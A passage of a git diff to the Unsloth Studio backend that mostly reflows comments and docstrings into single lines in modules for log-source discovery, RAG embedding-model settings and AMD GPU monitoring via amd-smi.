explicitly is the same outcome without the noise in the training log."""os.environ.setdefault("TOKENIZERS_PARALLELISM", "false")diff --git a/studio/backend/utils/datasets/vlm_processing.py b/studio/backend/utils/datasets/vlm_processing.pyindex 0e97f125f05..0494ae5556b 100644--- a/studio/backend/utils/datasets/vlm_processing.py+++ b/studio/backend/utils/datasets/vlm_processing.py@@ -39,7 +39,6 @@ def generate_smart_vlm_instruction(sample = next(iter(dataset))# Columns that hold per-sample instructions- # ===== LEVEL 1: Explicit Instruction Columns =====question_columns = ["question", "query", "prompt", "instruction", "user_prompt"]for col in question_columns:@@ -55,7 +54,6 @@ def generate_smart_vlm_instruction("confidence": 1.0,}- # ===== LEVEL 2: Infer from Column Names + Content =====text_col_lower = text_column.lower()text_sample = str(sample.get(text_column, ""))[:500]@@ -154,7 +152,6 @@ def generate_smart_vlm_instruction("confidence": min(best_score, best_match["confidence"]),}- # ===== LEVEL 3: Analyze Dataset Name =====if dataset_name:name_lower = dataset_name.lower()@@ -176,7 +173,6 @@ def generate_smart_vlm_instruction("confidence": 0.75,}- # ===== LEVEL 4: LLM-Assisted Instruction Generation =====try:from .llm_assist import llm_generate_vlm_instructiondiff --git a/studio/backend/utils/debug_log_sources.py b/studio/backend/utils/debug_log_sources.pyindex 1c248bed5df..e6748cc635b 100644--- a/studio/backend/utils/debug_log_sources.py+++ b/studio/backend/utils/debug_log_sources.py@@ -1,12 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Find the log files the Settings > Logs viewer is allowed to read.--The client never names a path. It gets opaque ids from `list_sources` and hands-one back; `resolve_source_id` re-runs this same walk and matches the digest, so-the only paths that can ever reach open() are ones this module produced.-"""+"""Find the log files the Settings > Logs viewer is allowed to read. The client never names a path: it gets opaque ids from `list_sources` and hands one back, and `resolve_source_id` re-runs this same walk and matches the digest, so the only paths that can reach open() are ones this module produced."""from __future__ import annotations@@ -17,11 +12,7 @@ from dataclasses import dataclassfrom pathlib import Pathfrom typing import Optional-# (subdirectory under a studio home, filename glob). backend-* is the Tauri shell's capture of backend stdout, and the-# only record that exists when the backend dies before disk logging starts.-# Python writers are run.py:_setup_server_disk_logging and the llama / diffusion runners in core/inference/llama_cpp.py;-# the desktop families come from src-tauri/src/diagnostics/phase_log.rs and land in the logs directory ITSELF, with-# tauri.log at the home root.+# (subdirectory under a studio home, filename glob). backend-* is the Tauri shell's capture of backend stdout, and the only record that exists when the backend dies before disk logging starts. Python writers are run.py:_setup_server_disk_logging and the llama / diffusion runners in core/inference/llama_cpp.py; the desktop families come from src-tauri/src/diagnostics/phase_log.rs and land in the logs directory ITSELF, with tauri.log at the home root.FAMILIES: dict[str, tuple[str, str]] = {"server": ("logs/server", "server-*.log"),"llama-server": ("logs/llama-server", "llama-*.log"),@@ -33,9 +24,7 @@ FAMILIES: dict[str, tuple[str, str]] = {"desktop-shell": ("", "tauri.log*"),}-# Per family, so a busy host cannot make the picker unusable. Several, not one:-# the llama runner writes a file per load ATTEMPT, so after a retry the useful-# one is often not the newest.+# Per family, so a busy host cannot make the picker unusable. Several, not one: the llama runner writes a file per load ATTEMPT, so after a retry the useful one is often not the newest.MAX_SOURCES_PER_FAMILY = 10_DIGEST_CHARS = 16@@ -53,13 +42,7 @@ class LogSource:def candidate_roots() -> list[Path]:- """Every studio home a log file might be under, most specific first.-- studio_root() infers a root from the installer venv; the runners resolve- their own base (llama_cpp.py:_swa_cache_path) without that inference. On a- venv install with no env var set the two disagree, so scanning only one- loses the runtime logs a failed model load is chased through.- """+ """Every studio home a log file might be under, most specific first. studio_root() infers a root from the installer venv while the runners resolve their own base (llama_cpp.py:_swa_cache_path) without that inference, so on a venv install with no env var set the two disagree and scanning only one loses the runtime logs a failed model load is chased through."""roots: list[Path] = []def _add(path: Optional[Path]) -> None:@@ -69,8 +52,7 @@ def candidate_roots() -> list[Path]:resolved = Path(os.path.realpath(path))except (OSError, ValueError):return- # Folded, so a case-only difference is not scanned twice on a- # case-insensitive volume.+ # Folded, so a case-only difference is not scanned twice on a case-insensitive volume.if not any(_identity(resolved) == _identity(known) for known in roots):roots.append(resolved)@@ -80,15 +62,12 @@ def candidate_roots() -> list[Path]:except Exception:pass- # Mirror _swa_cache_path exactly: env override if set, else the legacy home- # Both would pull a DIFFERENT installation's logs into this one.+ # Mirror _swa_cache_path exactly: env override if set, else the legacy home. Both would pull a DIFFERENT installation's logs into this one.env_home = (os.environ.get("UNSLOTH_STUDIO_HOME") or os.environ.get("STUDIO_HOME") or "").strip()if env_home:- # Both spellings, because writer and reader disagree about the tilde: _swa_cache_path builds Path(home) raw, so- # an unexpanded value (systemd EnvironmentFile, dotenv) makes the runners write to a directory NAMED "~" while- # expanduser looks in the real home. Safe unlike the env-versus-legacy case above: one value, two spellings.+ # Both spellings, because writer and reader disagree about the tilde: _swa_cache_path builds Path(home) raw, so an unexpanded value (systemd EnvironmentFile, dotenv) makes the runners write to a directory NAMED "~" while expanduser looks in the real home. Safe unlike the env-versus-legacy case above: one value, two spellings.for spelling in (Path(env_home).expanduser(), Path(env_home)):try:_add(spelling)@@ -147,17 +126,13 @@ def _family_files(family: str) -> list[Path]:entries = list(directory.glob(pattern))except OSError:continue- # Nothing prunes logs/llama-server and one file is written per load ATTEMPT (11,794 on this host), so a filename- # presort, which tracks time order, leaves a handful to stat.- # Every family's filename embeds its creation time (server-YYYYmmdd-HHMMSS, llama-<epoch>, diffusion-<epoch>,- # desktop ms epoch), and realpath + stat on every file cost ~356ms at a 1 Hz poll.+ # Nothing prunes logs/llama-server and one file is written per load ATTEMPT (11,794 on this host), so a filename presort, which tracks time order, leaves a handful to stat. Every family's filename embeds its creation time (server-YYYYmmdd-HHMMSS, llama-<epoch>, diffusion-<epoch>, desktop ms epoch), and realpath + stat on every file cost ~356ms at a 1 Hz poll.entries.sort(key = lambda entry: entry.name, reverse = True)entries = entries[: MAX_SOURCES_PER_FAMILY * 3]for entry in entries:try:real = Path(os.path.realpath(entry))- # The TARGET must stay inside.- # A symlink dropped into the log directory must not become a reader for ~/.ssh/id_rsa.+ # The TARGET must stay inside: a symlink dropped into the log directory must not become a reader for ~/.ssh/id_rsa.if not _is_inside(real, real_dir):continueif not real.is_file():@@ -167,9 +142,7 @@ def _family_files(family: str) -> list[Path]:stat = real.stat()except (OSError, ValueError):continue- # Keyed on the folded spelling so a case-insensitive volume cannot- # list one file twice; the first spelling seen is kept, so the id- # digest stays over the real path.+ # Keyed on the folded spelling so a case-insensitive volume cannot list one file twice; the first spelling seen is kept, so the id digest stays over the real path.found.setdefault(_identity(real), (real, stat.st_mtime))ordered = sorted(found.values(), key = lambda item: item[1], reverse = True)return [path for path, _ in ordered[:MAX_SOURCES_PER_FAMILY]]@@ -177,9 +150,7 @@ def _family_files(family: str) -> list[Path]:def _is_current(family: str, path: Path, newest: Optional[Path]) -> bool:if family == "server":- # uvicorn is single process here, so our own pid is in the active session's filename: an exact match, not a- # newest-file guess. Anchored on the suffix because a substring test for "pid1234" would also match a retained- # ...-pid12345.log.+ # uvicorn is single process here, so our own pid is in the active session's filename: an exact match, not a newest-file guess. Anchored on the suffix because a substring test for "pid1234" would also match a retained ...-pid12345.log.return path.name.endswith(f"-pid{os.getpid()}.log")return newest is not None and path == newest@@ -210,11 +181,7 @@ def list_sources() -> list[LogSource]:def resolve_source_id(source_id: str) -> Optional[Path]:- """Opaque id back to a path, by rebuilding the allowlist and matching.-- Deliberately not a decode: nothing the caller sends is ever turned into a- path, so there is no string that can traverse anywhere.- """+ """Opaque id back to a path, by rebuilding the allowlist and matching. Deliberately not a decode: nothing the caller sends is ever turned into a path, so there is no string that can traverse anywhere."""if not isinstance(source_id, str):return Nonefamily, sep, digest = source_id.partition(":")@@ -234,9 +201,7 @@ def default_source_id() -> Optional[str]:for source in sources:if source.family == "server" and source.is_current:return source.id- # No live session: the newest file across every family, NOT any retained server log, which would open the tab on a- # previous run while the llama log holding the failure sat one entry down.- # That is the state after UNSLOTH_STUDIO_NO_FILE_LOG=1 or a failed log setup.+ # No live session: the newest file across every family, NOT any retained server log, which would open the tab on a previous run while the llama log holding the failure sat one entry down. That is the state after UNSLOTH_STUDIO_NO_FILE_LOG=1 or a failed log setup.return max(sources, key = lambda s: s.modified_at).id@@ -245,13 +210,7 @@ def file_logging_disabled() -> bool:def source_is_frozen(source_id: Optional[str]) -> bool:- """Whether nothing will ever be appended to this source again.-- UNSLOTH_STUDIO_NO_FILE_LOG only skips _setup_server_disk_logging in run.py.- The runners and the Tauri shell keep writing their own files, so treating- the setting as global labelled a live llama-server log an earlier session- that would not update, while it was still being appended to.- """+ """Whether nothing will ever be appended to this source again. UNSLOTH_STUDIO_NO_FILE_LOG only skips _setup_server_disk_logging in run.py; the runners and the Tauri shell keep writing their own files, so treating the setting as global labelled a live llama-server log an earlier session that would not update."""if not file_logging_disabled():return Falsefamily = (source_id or "").partition(":")[0]diff --git a/studio/backend/utils/embedding_model_settings.py b/studio/backend/utils/embedding_model_settings.pyindex f82c7ffe15a..de4a63a5270 100644--- a/studio/backend/utils/embedding_model_settings.py+++ b/studio/backend/utils/embedding_model_settings.py@@ -1,13 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""Persisted RAG embedding-model override (Settings -> General).--The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in-``core.rag.config``. Vectors from different models live in different spaces, so-documents already indexed under the old model must be re-uploaded after a change-(the UI warns about this).-"""+"""Persisted RAG embedding-model override (Settings -> General). The stored value takes precedence over the ``RAG_EMBEDDING_MODEL`` env default in ``core.rag.config``. Vectors from different models live in different spaces, so documents already indexed under the old model must be re-uploaded after a change (the UI warns about this)."""from __future__ import annotations@@ -16,38 +10,26 @@ import timefrom typing import Any, OptionalEMBEDDING_MODEL_SETTING_KEY = "rag_embedding_model"-# The GGUF repo the picker resolved for that model. Stored so the loader opens-# what was actually downloaded instead of re-deriving a name that may not exist.+# The GGUF repo the picker resolved for that model, stored so the loader opens what was actually downloaded instead of re-deriving a name that may not exist.EMBEDDING_GGUF_SETTING_KEY = "rag_embedding_gguf_repo"-# Which backend that model needs. An embedder with no GGUF still runs fine on-# sentence-transformers (safetensors), it just costs about 1 GB more memory.+# Which backend that model needs. An embedder with no GGUF still runs fine on sentence-transformers (safetensors), it just costs about 1 GB more memory.EMBEDDING_BACKEND_SETTING_KEY = "rag_embedding_backend"-# Atomic association between the selected model and the artifacts/backend the-# resolver validated for it. Unlike the override key, this may name the env-# default: an off-convention GGUF still has to remain attached to that model.+# Atomic association between the selected model and the artifacts/backend the resolver validated for it. Unlike the override key this may name the env default: an off-convention GGUF still has to stay attached to that model.EMBEDDING_RESOLUTION_SETTING_KEY = "rag_embedding_resolution"MAX_EMBEDDING_MODEL_LENGTH = 512-# Consulted on the embedder hot path once per embed/tokenize call during ingestion, so the stored value is cached-# briefly; writes invalidate in-process, other readers converge within the TTL.+# Consulted on the embedder hot path once per embed/tokenize call during ingestion, so the stored value is cached briefly; writes invalidate in-process and other readers converge within the TTL._CACHE_TTL_S = 2.0-# typing.Optional, not `str | None`: the future import defers annotations, but a-# type ALIAS is evaluated at import, and PEP 604 needs 3.10 over a 3.9 floor.+# typing.Optional, not `str | None`: the future import defers annotations, but a type ALIAS is evaluated at import, and PEP 604 needs 3.10 over a 3.9 floor._StoredState = tuple[Optional[str], Optional[str], Optional[str], Optional[str], bool, Optional[dict]]-# (override model, resolved model, GGUF repo, backend, download pending, raw record).-# The raw record is carried so a conditional write compares against exactly what is stored: a reconstruction never-# matches a record written by a build with one field fewer.+# (override model, resolved model, GGUF repo, backend, download pending, raw record). The raw record is carried so a conditional write compares against exactly what is stored: a reconstruction never matches a record written by a build with one field fewer._cached: tuple[float, _StoredState] | None = None-# Bumped on every write/invalidate. A reader captures it before the DB read and-# only fills the cache if it is unchanged afterward, so a read that overlapped a-# save cannot repopulate the cache with the pre-save value for the whole TTL.+# Bumped on every write/invalidate. A reader captures it before the DB read and only fills the cache if it is unchanged afterward, so a read that overlapped a save cannot repopulate the cache with the pre-save value for the whole TTL._generation = 0_lock = threading.Lock()-# Per-model, process-local: the last (gguf_repo, backend, download_pending, files)-# seen for each model. The one stored record belongs to whichever model was saved-# last; see remembered_gguf_repo.+# Per-model, process-local: the last (gguf_repo, backend, download_pending, files) seen for each model. The one stored record belongs to whichever model was saved last; see remembered_gguf_repo._resolved_gguf_memo: dict[str, tuple[Optional[str], Optional[str], bool, Optional[list]]] = {}@@ -88,11 +70,7 @@ def validate_embedding_model(value: Any) -> str:def _coerce_gguf_files(value: Any) -> Optional[list]:- """Repo-relative GGUF names from ``value``, or None when it names no family.-- Same length/control-character rules as every other stored string: this record- is read back to steer a loader, so it must not carry anything a path join- would misread."""+ """Repo-relative GGUF names from ``value``, or None when it names no family. Same length/control-character rules as every other stored string: this record steers a loader, so it must not carry anything a path join would misread."""if not isinstance(value, (list, tuple)):return Nonenamed = [f for f in (_coerce_embedding_model(v) for v in value) if f]@@ -100,8 +78,7 @@ def _coerce_gguf_files(value: Any) -> Optional[list]:def get_stored_gguf_repo(model: str) -> str | None:- """The GGUF repo stored alongside ``model``, or None when it was stored for a- different model (a stale pair must not point the loader at the wrong weights)."""+ """The GGUF repo stored alongside ``model``, or None when it was stored for a different model (a stale pair must not point the loader at the wrong weights)."""stored = _get_stored_state()if stored[1] != model:return None@@ -132,25 +109,13 @@ def _files_of(resolution: Optional[dict]) -> Optional[list]:def remembered_gguf_repo(model: str) -> str | None:- """The repo this process last saw resolved for ``model``, if any.-- One stored record, so saving B makes ``get_stored_gguf_repo(A)`` None while a- job pinned to A is still ingesting, moving its identity to the derived- ``A-GGUF`` mid-job and splitting one document set across two tags. The memo is- process-local and per model, so it lasts as long as the job; a later save for- A refreshes it, and a reset drops it.- """+ """The repo this process last saw resolved for ``model``, if any. One stored record, so saving B makes ``get_stored_gguf_repo(A)`` None while a job pinned to A is still ingesting, moving its identity to the derived ``A-GGUF`` mid-job and splitting one document set across two tags. The memo is process-local and per model, so it lasts as long as the job; a later save for A refreshes it, and a reset drops it."""remembered = _remembered(model)return remembered[0] if remembered else Nonedef get_stored_backend(model: str) -> str | None:- """The backend stored for ``model``, or the one this process last saw for it.-- Same staleness rule as the repo, and the same reason to survive it: on an auto- CPU install a model with no GGUF resolves to sentence-transformers, so losing- it drops a still-running job onto the hardware default, which has no GGUF.- """+ """The backend stored for ``model``, or the one this process last saw for it. Same staleness rule as the repo, and the same reason to survive it: on an auto CPU install a model with no GGUF resolves to sentence-transformers, so losing it drops a still-running job onto the hardware default, which has no GGUF."""stored = _get_stored_state()if stored[1] == model:_remember_resolution(model, stored)@@ -160,13 +125,7 @@ def get_stored_backend(model: str) -> str | None:def get_stored_gguf_files(model: str) -> list | None:- """The GGUF file family the picker planned for ``model``, if one was recorded.-- Same staleness-plus-memo rule as the backend. Loaders use it to tell the quant- the advertised transfer actually delivered from an unrelated one left in the- same repo by an earlier setting. None on records written before it was stored,- which is why every consumer has to keep working without it.- """+ """The GGUF file family the picker planned for ``model``, if one was recorded. Same staleness-plus-memo rule as the backend. Loaders use it to tell the quant the advertised transfer actually delivered from an unrelated one left in the same repo by an earlier setting. None on records written before it was stored, which is why every consumer has to keep working without it."""stored = _get_stored_state()if stored[1] == model:_remember_resolution(model, stored)@@ -176,12 +135,7 @@ def get_stored_gguf_files(model: str) -> list | None:def get_stored_download_pending(model: str) -> bool:- """Whether ``model`` was activated before its required transfer finished.-- Loaders stay cache-only on this marker instead of recreating the invisible- first-index download. It outlives another model's save for the same reason the- backend does: forgetting it re-enables that download for a pinned job.- """+ """Whether ``model`` was activated before its required transfer finished. Loaders stay cache-only on this marker instead of recreating the invisible first-index download. It outlives another model's save for the same reason the backend does: forgetting it re-enables that download for a pinned job."""stored = _get_stored_state()if stored[1] == model:_remember_resolution(model, stored)@@ -191,12 +145,7 @@ def get_stored_download_pending(model: str) -> bool:def clear_stored_download_pending(model: str) -> bool:- """Retire the pending marker for ``model`` once its weights are on disk.-- Nothing else clears it: the picker re-resolves after a transfer but does not- save again, so the marker would outlive the download and pin the model- cache-only forever. Callers are the loaders, once the cache is proven complete.- """+ """Retire the pending marker for ``model`` once its weights are on disk. Nothing else clears it: the picker re-resolves after a transfer but does not save again, so the marker would outlive the download and pin the model cache-only forever. Callers are the loaders, once the cache is proven complete."""stored = _get_stored_state()if stored[1] != model or not stored[4]:return False@@ -206,15 +155,12 @@ def clear_stored_download_pending(model: str) -> bool:return Falsefrom storage.studio_db import compare_and_set_app_setting- # Conditional, not a plain upsert, or a save for another model committing between the read and- # this write is reverted. Compared as read, not rebuilt, so the guard survives fields this- # build does not know about.+ # Conditional, not a plain upsert, or a save for another model committing between the read and this write is reverted. Compared as read, not rebuilt, so the guard survives fields this build does not know about.if not compare_and_set_app_setting(EMBEDDING_RESOLUTION_SETTING_KEY, expected, {**expected, "download_pending": False}):return False- # Retire the memo with the record, or a pinned job keeps reading pending=True- # and stays cache-only after the download landed.+ # Retire the memo with the record, or a pinned job keeps reading pending=True and stays cache-only after the download landed._remember_resolution(model, (stored[0], stored[1], stored[2], stored[3], False, stored[5]))_invalidate_cache()return True@@ -226,12 +172,7 @@ def get_stored_embedding_model() -> str | None:def _get_stored_state() -> _StoredState:- """Read the override and its resolved artifact association as one snapshot.-- The resolution is one JSON value so its model/repo/backend can never be- torn. The legacy individual fields are read in the same SQL statement for- compatibility with builds from before the atomic record existed.- """+ """Read the override and its resolved artifact association as one snapshot. The resolution is one JSON value so its model/repo/backend can never be torn; the legacy individual fields are read in the same SQL statement for compatibility with builds from before the atomic record existed."""global _cachednow = time.monotonic()with _lock:@@ -250,9 +191,7 @@ def _get_stored_state() -> _StoredState:])except Exception:- # Transient store failure: keep the last known value instead of- # silently reverting the embed/search hot path to the default model,- # which would mix vector spaces mid-ingestion.+ # Transient store failure: keep the last known value instead of silently reverting the embed/search hot path to the default model, which would mix vector spaces mid-ingestion.with _lock:if _cached is not None:_cached = (time.monotonic(), _cached[1])@@ -268,16 +207,14 @@ def _get_stored_state() -> _StoredState:backend = _coerce_embedding_model(resolution.get("backend"))download_pending = resolution.get("download_pending") is Trueelif override:- # Legacy PR builds stored the association in separate keys. The one-shot- # read above still gives this compatibility path a consistent snapshot.+ # Legacy PR builds stored the association in separate keys. The one-shot read above still gives this compatibility path a consistent snapshot.resolved_model = overriderepo = _coerce_embedding_model(settings.get(EMBEDDING_GGUF_SETTING_KEY))backend = _coerce_embedding_model(settings.get(EMBEDDING_BACKEND_SETTING_KEY))raw = resolution if isinstance(resolution, dict) else Nonevalue: _StoredState = (override, resolved_model, repo, backend, download_pending, raw)with _lock:- # Only cache when no save landed while reading: a pre-save value would mask the new one for the- # whole TTL.+ # Only cache when no save landed while reading: a pre-save value would mask the new one for the whole TTL.if _generation == gen:_cached = (time.monotonic(), value)return value@@ -287,8 +224,7 @@ def get_rag_embedding_model() -> str:"""Effective embedding model: persisted override, else env/default."""stored = _get_stored_state()model = stored[0] or default_embedding_model()- # Reading this is how a job pins its model, so record the resolution here: the memo protects a pinned job only if it- # was populated before another model's save takes the stored record.+ # Reading this is how a job pins its model, so record the resolution here: the memo protects a pinned job only if it was populated before another model's save takes the stored record.if stored[1] == model:_remember_resolution(model, stored)return model@@ -304,8 +240,7 @@ def set_rag_embedding_model(parsed = validate_embedding_model(value)from storage.studio_db import upsert_app_settings- # Saving the default is not an override; keeps is_custom (and the UI's- # reset affordance) honest.+ # Saving the default is not an override; keeps is_custom (and the UI's reset affordance) honest.stored = parsed if parsed != default_embedding_model() else Nonerepo = _coerce_embedding_model(gguf_repo)chosen = _coerce_embedding_model(backend)@@ -339,13 +274,10 @@ def reset_rag_embedding_model() -> str:from storage.studio_db import upsert_app_settingsrestored = default_embedding_model()- # The memo survives a reset, but the restored default is not a running job, so write any remembered resolution back- # durably rather than leave a process-only answer that changes on restart.+ # The memo survives a reset, but the restored default is not a running job, so write any remembered resolution back durably rather than leave a process-only answer that changes on restart.remembered = _remembered(restored)resolution = None- # The pending flag counts as much as a repo or a backend: a default saved over- # a failed resolution legitimately remembers (None, None, True), and that flag- # is what keeps the first index from starting the implicit download.+ # The pending flag counts as much as a repo or a backend: a default saved over a failed resolution legitimately remembers (None, None, True), and that flag is what keeps the first index from starting the implicit download.if remembered and (remembered[0] or remembered[1] or remembered[2]):resolution = {"model": restored,diff --git a/studio/backend/utils/hardware/amd.py b/studio/backend/utils/hardware/amd.pyindex 7d2bc882de1..cd3c724690b 100644--- a/studio/backend/utils/hardware/amd.py+++ b/studio/backend/utils/hardware/amd.py@@ -1,11 +1,7 @@# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0-"""AMD GPU monitoring via amd-smi.--Mirrors nvidia.py so hardware.py can swap backends based on IS_ROCM.-All functions return the same dict shapes as their nvidia.py counterparts.-"""+"""AMD GPU monitoring via amd-smi. Mirrors nvidia.py so hardware.py can swap backends based on IS_ROCM; all functions return the same dict shapes as their nvidia.py counterparts."""import jsonimport math@@ -23,27 +19,21 @@ from utils.subprocess_compat import windows_hidden_subprocess_kwargslogger = get_logger(__name__)-# amd-smi on Windows initialises the full ROCm runtime on first call, which-# can take 15-25 s on cold hardware. Linux is consistently < 2 s.+# amd-smi on Windows initialises the full ROCm runtime on first call, which can take 15-25 s on cold hardware. Linux is consistently < 2 s._AMD_SMI_DEFAULT_TIMEOUT = 30 if platform.system() == "Windows" else 10-# Circuit breaker: stop polling amd-smi after this many consecutive failures-# (each Windows failure may pop a UAC/DiskPart elevation prompt).+# Circuit breaker: stop polling amd-smi after this many consecutive failures (each Windows failure may pop a UAC/DiskPart elevation prompt)._AMD_SMI_FAILURE_LIMIT = 3_amd_smi_consecutive_failures = 0_amd_smi_disabled = Falsedef _path_inside_venv(path: str) -> bool:- """True if ``path`` is inside the active venv (sys.prefix).-- The venv hipInfo.exe (AMD wheel, put on PATH by main.py/worker.py for- bitsandbytes) is NOT a HIP SDK (see _hip_sdk_present)."""+ """True if ``path`` is inside the active venv (sys.prefix). The venv hipInfo.exe (AMD wheel, put on PATH by main.py/worker.py for bitsandbytes) is NOT a HIP SDK (see _hip_sdk_present)."""try:# realpath (not abspath): resolve symlinks/8.3 names so an aliased venv matches.root = os.path.normcase(os.path.realpath(sys.prefix))- # Guard a root-dir prefix (C:\ or /): commonpath would match every path on it. A venv is never at root, so treat- # that as outside.+ # Guard a root-dir prefix (C:\ or /): commonpath would match every path on it. A venv is never at root, so treat that as outside.if os.path.dirname(root) == root:return Falsereturn os.path.normcase(os.path.commonpath([os.path.realpath(path), root])) == root@@ -53,10 +43,7 @@ def _path_inside_venv(path: str) -> bool:def _external_hipinfo_on_path() -> bool:- """True if a hipinfo OUTSIDE the venv is on PATH.-- shutil.which returns only the first hit, so the venv hipInfo could shadow a- real HIP SDK's; scan every PATH entry and skip the venv copy."""+ """True if a hipinfo OUTSIDE the venv is on PATH. shutil.which returns only the first hit, so the venv hipInfo could shadow a real HIP SDK's; scan every PATH entry and skip the venv copy."""for directory in os.environ.get("PATH", "").split(os.pathsep):directory = directory.strip('"') # PATH entries can be quoted on Windowsif not directory:@@ -68,11 +55,7 @@ def _external_hipinfo_on_path() -> bool:def _hip_sdk_present() -> bool:- """True if a HIP SDK is detectable (hipinfo on PATH or under HIP_PATH/- ROCM_PATH), so amd-smi has a runtime and runs un-elevated.-- Ignores the venv hipInfo.exe (AMD wheel via the bnb fix): not a HIP SDK, and- doesn't stop amd-smi's DiskPart UAC."""+ """True if a HIP SDK is detectable (hipinfo on PATH or under HIP_PATH/ROCM_PATH), so amd-smi has a runtime and runs un-elevated. Ignores the venv hipInfo.exe (AMD wheel via the bnb fix): not a HIP SDK, and does not stop amd-smi's DiskPart UAC."""if _external_hipinfo_on_path():return Truefor var in ("HIP_PATH", "HIP_PATH_57", "ROCM_PATH"):@@ -86,13 +69,7 @@ def _hip_sdk_present() -> bool:def _amd_smi_allowed() -> bool:- """Whether it is safe to spawn amd-smi here.-- On Windows without a working HIP runtime, amd-smi elevates a child at- runtime -- popping a UAC/DiskPart prompt that RunAsInvoker can't suppress- (its manifest is asInvoker). So only call it on Windows with a HIP SDK- present or UNSLOTH_ENABLE_AMD_SMI=1. Linux amd-smi never elevates.- """+ """Whether it is safe to spawn amd-smi here. On Windows without a working HIP runtime, amd-smi elevates a child at runtime, popping a UAC/DiskPart prompt that RunAsInvoker cannot suppress (its manifest is asInvoker), so only call it on Windows with a HIP SDK present or UNSLOTH_ENABLE_AMD_SMI=1. Linux amd-smi never elevates."""if platform.system() != "Windows":return Trueflag = os.environ.get("UNSLOTH_ENABLE_AMD_SMI", "").strip().lower()@@ -108,19 +85,12 @@ def _run_amd_smi(timeout: int = _AMD_SMI_DEFAULT_TIMEOUT,count_failures: bool = True,) -> Optional[Any]:- """Run amd-smi with the given args and return parsed JSON, or None.-- ``count_failures = False`` keeps a failure out of the circuit breaker, for a- subcommand an older amd-smi rejects outright: that exit code says the CLI is old,- not that the tool is broken, and three of them must not disable VRAM and- utilization polling for the life of the process.- """+ """Run amd-smi with the given args and return parsed JSON, or None. ``count_failures = False`` keeps a failure out of the circuit breaker, for a subcommand an older amd-smi rejects outright: that exit code says the CLI is old, not that the tool is broken, and three of them must not disable VRAM and utilization polling for the life of the process."""global _amd_smi_consecutive_failures, _amd_smi_disabledif _amd_smi_disabled:return Noneif not _amd_smi_allowed():- # Permanently skip amd-smi on Windows without a HIP SDK: every call pops a UAC/DiskPart prompt. VRAM polling is- # then unavailable, which beats the prompt (UNSLOTH_ENABLE_AMD_SMI=1 opts back in).+ # Permanently skip amd-smi on Windows without a HIP SDK: every call pops a UAC/DiskPart prompt. VRAM polling is then unavailable, which beats the prompt (UNSLOTH_ENABLE_AMD_SMI=1 opts back in).if not _amd_smi_disabled:logger.info("amd-smi disabled on Windows (no HIP SDK detected) to avoid a "@@ -130,9 +100,7 @@ def _run_amd_smi(_amd_smi_disabled = Truereturn Noneif shutil.which("amd-smi") is None:- # amd-smi does not exist on Windows and can be absent on minimal Linux, so disable the poller in one step- # instead of burning the 3-strike breaker on guaranteed FileNotFoundError spawns.- # Unsloth's VRAM display falls back to torch mem_get_info.+ # amd-smi does not exist on Windows and can be absent on minimal Linux, so disable the poller in one step instead of burning the 3-strike breaker on guaranteed FileNotFoundError spawns; Unsloth's VRAM display falls back to torch mem_get_info.if not _amd_smi_disabled:logger.info("amd-smi not found on PATH; GPU utilization polling via "@@ -142,8 +110,7 @@ def _run_amd_smi(return None_amd_env = child_env_without_native_path_secret()if platform.system() == "Windows":- # RunAsInvoker belt-and-suspenders for any manifest-elevating helper;- # the real guard is _amd_smi_allowed() above. Mirrors install scripts.+ # RunAsInvoker belt-and-suspenders for any manifest-elevating helper; the real guard is _amd_smi_allowed() above. Mirrors install scripts._amd_env = {**_amd_env, "__COMPAT_LAYER": "RunAsInvoker"}try:result = subprocess.run(@@ -158,8 +125,7 @@ def _run_amd_smi()except (OSError, subprocess.TimeoutExpired) as e:if isinstance(e, FileNotFoundError):- # Raced a PATH change after the which() check above; absence is- # expected on Windows (no AMD product ships an amd-smi CLI there).+ # Raced a PATH change after the which() check above; absence is expected on Windows (no AMD product ships an amd-smi CLI there).logger.debug("amd-smi not found (not in PATH): %s", e)else:logger.warning("amd-smi query failed: %s", e)@@ -186,7 +152,6 @@ def _run_amd_smi(_amd_smi_disabled = Truereturn Noneif not result.stdout.strip():- # Exit 0 with no outputlogger.debug("amd-smi exited 0 but returned no output")return None_amd_smi_consecutive_failures = 0@@ -201,7 +166,6 @@ def _parse_numeric(value: Any) -> Optional[float]:"""Extract a numeric value from amd-smi output (str, int, float, or dict)."""if value is None:return None- # Newer amd-smi versions emit {"value": 10, "unit": "W"}if isinstance(value, dict):return _parse_numeric(value.get("value"))if isinstance(value, (int, float)):@@ -220,12 +184,7 @@ def _parse_numeric(value: Any) -> Optional[float]:def _parse_memory_mb(value: Any) -> Optional[float]:- """Parse a memory value from amd-smi output and return MB.-- Handles bare numbers (assumed MB -- the amd-smi convention on every- version seen), dict values with explicit units (``{"value": 192,- "unit": "GiB"}`` on newer releases), and strings like ``"8192 MiB"``.- """+ """Parse a memory value from amd-smi output and return MB. Handles bare numbers (assumed MB, the amd-smi convention on every version seen), dict values with explicit units (``{"value": 192, "unit": "GiB"}`` on newer releases), and strings like ``"8192 MiB"``."""unit = ""raw_value = value@@ -242,8 +201,7 @@ def _parse_memory_mb(value: Any) -> Optional[float]:if num is None:return None- # GPU tools use binary units even when labeled "GB"/"MB", so treat GB/GiB- # and MB/MiB the same.+ # GPU tools use binary units even when labeled "GB"/"MB", so treat GB/GiB and MB/MiB the same.if "gib" in unit or "gb" in unit:return num * 1024if "mib" in unit or "mb" in unit:@@ -251,22 +209,14 @@ def _parse_memory_mb(value: Any) -> Optional[float]:if "kib" in unit or "kb" in unit:return num / 1024if unit in ("b", "byte", "bytes"):- # Plain bytesreturn num / (1024 * 1024)- # No explicit unit: default to MB (the amd-smi convention for bare numbers).- # A bytes-above-~10M heuristic was dropped because it misclassified small VRAM allocations; modern amd-smi always- # ships explicit units.+ # No explicit unit: default to MB (the amd-smi convention for bare numbers). A bytes-above-~10M heuristic was dropped because it misclassified small VRAM allocations; modern amd-smi always ships explicit units.return numdef _vram_used_total_mb(gpu_data: dict) -> tuple[Optional[float], Optional[float]]:- """(used, total) VRAM in MB, unit-aware across amd-smi formats.-- Newer versions use "mem_usage" with "total_vram"/"used_vram"; older use- "vram" or "fb_memory_usage" with 